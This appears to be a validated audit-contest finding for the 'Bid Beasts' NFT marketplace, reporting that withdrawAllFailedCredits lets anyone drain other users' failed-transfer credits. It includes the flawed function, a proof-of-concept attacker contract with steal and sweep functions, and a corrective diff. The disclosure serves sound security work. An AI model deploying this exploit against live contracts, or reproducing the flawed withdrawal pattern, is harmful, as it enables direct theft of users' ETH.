Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

withdrawAllFailedCredits lets an attacker steal others’ failed credits (Root Cause: incorrect use of caller vs. parameter when reading/clearing state; Impact: direct ETH theft)

zanyjoy408

Root + Impact

Description

  • Normal behavior: A withdrawal function for failed outgoing payments should let an address reclaim only their own credited ETH, clear the recorded credit before performing an external transfer, and follow the checks-effects-interactions pattern so funds cannot be stolen or reentered.

  • Specific issue: The contract’s withdrawAllFailedCredits(address _receiver) reads the credit for the caller-specified _receiver but clears failedTransferCredits[msg.sender] and sends the read amount to msg.sender. This allows any caller to request someone else’s credited balance and have it paid to themselves, while the victim’s credit remains unchanged.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> reads victim's credits
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // @> clears attacker's slot (wrong key)
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> pays attacker
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • The marketplace issues refunds and payouts to bidders/sellers, and some recipients are smart contracts that revert on receive; failed transfers are recorded frequently for refunds and overpay returns this creates failedTransferCredits entries for many addresses that an attacker can target.

  • The vulnerable withdraw function requires only gas and a single transaction.

Impact:

  • Attackers can steal the full amount of any failedTransferCredits entry for any victim address, with minimal gas cost.

  • Because the victim’s mapping entry is not cleared, the same credit can be stolen repeatedly or by multiple attackers, causing repeated loss until the bug is fixed resulting in potentially catastrophic fund loss and reputational damage.

Proof of Concept

// The attacker contract simply calls the vulnerable function with the victim address.
pragma solidity 0.8.20;
​
interface IVulnerableMarket {
function withdrawAllFailedCredits(address _receiver) external;
}
​
contract ExploitWithdrawCredits {
IVulnerableMarket public market;
​
constructor(address _market) {
market = IVulnerableMarket(_market);
}
​
// Caller (attacker EOA) funds this contract, then calls exploit with victim address.
function steal(address victim) external {
// This will cause the vulnerable contract to send failedTransferCredits[victim]
// to msg.sender (this contract), while clearing this contract's mapping slot instead of victim's.
market.withdrawAllFailedCredits(victim);
}
​
// allow attacker to sweep stolen funds to EOA
function sweep(address payable to) external {
require(msg.sender == tx.origin, "EOA only");
to.transfer(address(this).balance);
}
​
receive() external payable {}
}

Recommended Mitigation

Replace the vulnerable function with a caller-only withdrawal that clears the correct mapping key before doing the external transfer. Optionally add nonReentrant and an event for auditing. The diff below replaces the vulnerable function and suggests adding an event.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ // Recommended: callers withdraw only their own credits; clear state before external call.
+ event FailedCreditWithdrawn(address indexed who, uint256 amount);
+
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ // Effects: clear balance before external interaction (prevents theft and reentrancy).
+ failedTransferCredits[msg.sender] = 0;
+
+ // Interaction
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+
+ emit FailedCreditWithdrawn(msg.sender, amount);
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 24 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.